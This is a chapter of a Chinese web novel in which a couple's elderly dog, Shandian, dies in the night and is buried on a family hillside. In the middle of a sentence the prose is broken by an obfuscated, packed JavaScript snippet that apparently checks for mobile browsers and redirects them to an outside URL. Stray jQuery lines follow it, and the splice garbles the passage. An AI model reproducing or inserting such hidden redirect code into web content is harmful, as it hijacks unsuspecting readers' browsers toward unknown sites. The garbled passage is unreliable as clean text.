她的手正贴在他身上，就隔一层薄薄的短袖料子，底下是缓慢起伏的腹肌，温热的，一下便将她拉回到了前些天的某晚，没有现在这样明亮的光，也没有清醒的神智。


    她当时以为自己在做梦，将他腰腹摸了个遍。


    如今灯光晃眼，她稍一转头，撞见他那双藏星一般的眼，很难形容这种感觉，她的手正被他的握着，从未真正体会过的掺杂着欲望的暧昧在流转，连呼吸都下意识轻了几分，都不敢摸了。


    在他面前，她从来都不愿败下阵来，即便心底是有些慌乱，面上却镇静得很，“那么勇者大人，可以把我的手再往下一些放吗？”


    他瞟一眼，松开她的手，轻弹了下她额头，“想得美，闪电还在睡着呢。我去洗澡。”


    她懂了，闻叙也是面上强装的，实际上也不敢让她摸。


    自认为完胜闻叙一局，谢与月心情不错，这时候电视上的片子突然放到了爆炸剧情，巨大的一声响，她低头看闪电，睡得还是很沉，半点没被吵醒。


    时钟渐渐指向九点，她收拾好东西，闪电还在睡，肚皮缓慢起伏着。


    她蹲下来，想把闪电喊醒，好让它回窝里睡，它房间的暖气比客厅足，不容易着凉。


    谁知闪电醒是醒了，却不肯回房，她走到哪儿它就跟到哪儿，甚至还想跟着她上楼。


    “这样吧。”谢与月蹲下来，和它打着商量，顺手比着手势，“你回到你的小窝，我去拿个被子，在旁边打地铺陪你，怎么样？”


    也不知道闪电有没有听懂，但起码没跟着她一起上楼了。


    谢与月不骗小狗，拿了一床被子抱着下楼，恰好碰见了闻叙。


    他抬了抬眼，“这是要做什么？”


    “下楼，陪闪电睡觉，它今晚很黏人，舍不得我。”她颇为乐在其中。


    闻叙哦了一声，帮忙她搬着被子到闪电房间，铺到中间宽阔的地方，再放上枕头，闪电见了，直接离开了它的大狗窝，特别开心地躺到床中间，整只狗四仰八叉的。


    “闪电，你先睡吧，我去洗个澡，洗完来陪你。”


    说完后，她就上了楼。


    等洗完澡再下楼时，闻叙正盘腿坐在闪电旁边，手里拿着绘本，轻声给它讲故事。


    “吉娜拿着她最爱的贝斯，小狗克洛蹲在她旁边，摇着尾巴，是她最忠实的听众……”


    面前人眉眼柔和，声音也温柔。她忽然想到一只仰脚躺着的刺猬，平日里瞧着满是尖刺，可肚皮却比什么都要柔软，用手指稍稍一戳，就会缩进去。她都有些舍不得打破这么一刻了。


    她没出声，悄悄在门口站了一会，可惜还没站多久，就被他发现了。


    闻叙抬眼望她，顺手合上绘本放到一旁，此时身旁的闪电正呼呼大睡。


    她放轻了声音，“怎么不继续讲。”


    “它睡着了。”他说道，将绘本放到一旁的柜格上，里面整齐叠放着大小不一的绘本，粗略望去，得有三四十本。


    闪电两岁时得过皮肤病，一难受就睡不着，哼唧哼唧地叫，睡眠严重不足。


    那时有亲戚带着小孩来家里做客，小孩儿爱玩过家家，对着闪电演起了老师的角色，拿着本书念得抑扬顿挫的，一开始闪电还认真听着，后面越来越困，头枕在地上就睡着了。


    发现这能给闪电助眠，闻叙便开始给它念书。


    一开始念的是教科书，大概是他语气平淡到没有任何起伏，闪电半点困意也没有，后面他还试了哲学、历史、小说、童话，只有在念到童话故事时，它才会慢慢睡着。


    后来闻叙反思了下，这大概是因为念到童话时，他的语气比往常要柔和一些。


    自那之后，闪电就养成了偶尔听睡前故事的习惯，想听故事时，它就会叼来一本书到他面前。


    今晚也是这样，它扒拉着闻叙，着急地走到放着绘本的柜子前，就差说话了。


    此时，闪电心满意足地听完了故事，睡在被窝的正中间，渐渐进入了梦乡。


    在闪电的两旁，各放了一个枕头。


    谢与月指着那个多出来的枕头，没说话，只是望着他，还偏了偏头，表达疑惑。


    “它想和我睡觉。”他语调懒散，“我是它爸，总不能拒绝。”


    “……行。”


    两人躺上了地铺，中间隔着只金黄色的无忧无虑小狗，灯光已经熄灭，唯有呼吸缓慢而长久，她悄悄朝闪电伸去，却意料之外地碰到了宽大的手。


    在触碰之后，那只手圈住了她的指尖，在此刻，黑夜也显得温柔。


    夜再深了一点，闪电睡着了，它的呼吸渐渐变弱，它梦见自己变得很小，睁不开眼，很冷，还有细细碎碎的雨砸着它。它不知道自己正在垃圾桶边，只知道往前爬，爬到一个能活着的地方。


    不知道是什么时候，它被抱了起来，那时它不知道什么是抱，只知道那很温暖，无风无雨。


    第一次睁眼看这个世界时，它见到了一张稚嫩的脸，他是比它高大很多的人。


    人会发出好听的声音，说着什么“闪电闪电”，会喂它喝好吃的奶，帮它排泻，陪它玩，他和它都在长大，它知道了闪电是它的名字。


    后来，闪电还知道什么是开心，开心就是看到他。伤心就是它很久很久没看到他。


    闪电突然很伤心。它就要走了，他以后会很久很久看不到它，他会伤心的。


    可它就要走了，因为它已经用了一天的时间来告别。


    那就再做一次告别吧。


    小狗醒了，轻轻地靠近他，蹭蹭他。


    他睡得正沉，伸手将它抱住，轻轻拍着它的背。它很眷恋，闭上了眼。


    几十公里外，一群人在山上扎营，等待见证一场来自猎户座的流星雨。


    这里视野广阔，抬头便可望见星辰，刚好碰上长假，山上闹哄哄的，许久未迎来这样热闹的夜了。


    下半夜，来自哈雷彗星的碎片坠入大气层。刹那间燃烧发亮，划破天际，观星的人们不约而同地忘记了说话。


    天空之外，一粒微尘碎片终于燃烬，盛大而安静。


    流星离去的这天早晨，没有下雨，空气干燥。


    谢与月跪坐在闪电面前，再触碰不到昨日的起伏，小狗沉沉地闭着眼，似乎只是在美梦里睡得太沉了，沉到连醒来都不愿意。


    闻叙没敢看闪电，径直走到盥洗台前，猛地打开水龙头，汹涌的水流匆匆而下，他捧起一把又一把渗凉的水扑到脸上，水珠顺着下颌一滴又一滴地落，眼早红了。


    他后背靠着冰冷的瓷砖墙，抬头是刺目扎人的顶灯，冷白、寒凉。


    狗的自然寿命大多都在十五岁左右，早在三年前，闻叙便已经做好了告别的准备。


    可等这一切真的猝然发生时，他竟觉得自己只是在做梦。只要再重新睁开眼，闪电便会爬起来端坐在他面前，伸出舌头灿烂地笑，等他给它弄好吃的早饭。


    看到她走了过来，他抱住她，低声道：“让我抱会。”


    湿着眼，像艘暴雨中寻找避风港的船，汹涌的海浪，摇晃的船身，摇摇欲坠的天幕。他抱得很紧，弓着身埋进她的肩窝，近乎贪婪地呼吸着来自于她的熟悉的香，泪水无声洇湿她的领口，“……我没有闪电了。”


    闪电不会再钻到他脚边，甩着尾巴，把他的腿抽得生疼，也不会在或生气或闯祸时，挂着生动的小表情，期盼得到他的回应。


    她抬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692782|172050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手回抱住他，一开口就又哽咽，分外熟悉的痛苦情绪用力攥着心，闷得慌，呼吸都不畅。


    过了很久，闻叙蹲到了闪电面前，抚摸着它闭着的眼，不再湿润的鼻头，拿起梳子梳理它柔顺的毛发，一下又一下，中间他停顿了无数次，几乎没办法完成这件事情。


    他处理起了闪电的身后事。


    家里人纷纷前来和闪电作了最后的告别，许真意和闻云明哭得涕泪交零，就连许庭嘉也没忍住。


    一场送别仪式后，闪电葬在了他们家山林里。


    闻叙走遍整座山，选了个好地方，送它最后一程。


    这里两米外就是一棵苹果树，是棵长得很好的苹果树，如今正值结果期，枝头缀满了青色的圆果子。


    闪电很爱吃苹果，后来它上了年纪，他担心会对消化道带来负担，很少再给它吃了。


    闻叙并不完全算纯粹的唯物主义者，在这一天，他由衷地希望这个世界存在灵魂，这样，他的小狗一抬头就能看到最鲜脆的苹果，即便大概率吃不到，至少能解解馋。


    见着了这样漂亮的苹果，它也许会像以往一样，流着透明丝线的哈喇子。不知道灵魂流出来的口水会不会有味道，他的小狗口水总是臭臭的。


    他压下情绪，脱掉外套，将袖子随手捋起，手里握紧铲子，就地挖起了坑。


    谢与月也找来个铲子，跟在旁边帮忙挖，两人都很安静，没有说话。


    这里的土壤板结了，挖起来得使力气。山林动物多，他不想有别的动物来侵扰它，用尽力气往深了挖，手臂肌肉鼓起，身上渐渐的都是汗，黑色的棉质长袖被汗湿开，他抹去落在地里的汗水，也许是泪水。总之，他挖了一米多深。


    他们是赶早过来的，等挖好坑时，已经是早上十点，此时阳光明媚，像是闪电的颜色。


    也许它现在正在旁边看着，急得团团转，不知道为什么他们为什么看不见它。


    闻叙接过谢与月手中小小的瓷泥盒，跪在泥土地上，把盒子放到正中间。低头看了好久，才铲起土盖住它，洋洋洒洒成了一个小土包，立上石碑，放一束金黄灿烂的花，绕着小土包洒上一圈草种。闪电喜欢蹭草坪，它会照顾好这些种子的。


    昨晚，谢与月熬夜织好的第二顶帽子，右上角绣了片小巧的银杏叶，刚好能戴在石碑顶上，尺寸刚好卡住，臭美的闪电一定会很喜欢这顶帽子。


    他静静地站在一旁，摘下一颗青苹果，放到它前面，免得看得到吃不到。


    “闻叙。”她望向他单薄的背影，从衣袋里掏出一串项链，项链中间串着个纯铜的小圆球，大概一元硬币大，递给他，“我偷偷剪下了闪电的围脖毛，装进了这里面，你要是想它了，就摸摸它吧。”


    她将项链塞到了他的掌心，铜球略冰凉，他握紧了它，体温慢慢温热了铜球，他的声音有些哑，“好，谢谢。”


    谢与月拍拍衣服上沾到的泥土，抬起头去看那颗苹果树，想了想，说道：“其实我还挺相信轮回的。”


    “即使我们无法证实，但我还是挺信的。对我来说，这是一个非常最温柔的谎言，离开的他们会在未来的某一刻和我们相遇，即便那时已经认不出彼此，可那也没关系，至少再见面了。”


    爷爷去世那年，她更加认真地跳舞，期待有一天能被更多人看见，也许在那些观众里面，就有她的爷爷。


    “轮回……”


    他垂下眼睫，长长的一阵风吹来，吹过针脚细密的黄帽子，吹得金灿灿花瓣轻轻晃，石碑上刻着的字在日光下熠熠生辉。


    [闪电，2007.2.1-2024.10.2。


    敬太阳一样的你。


    天黑时，记得回家。]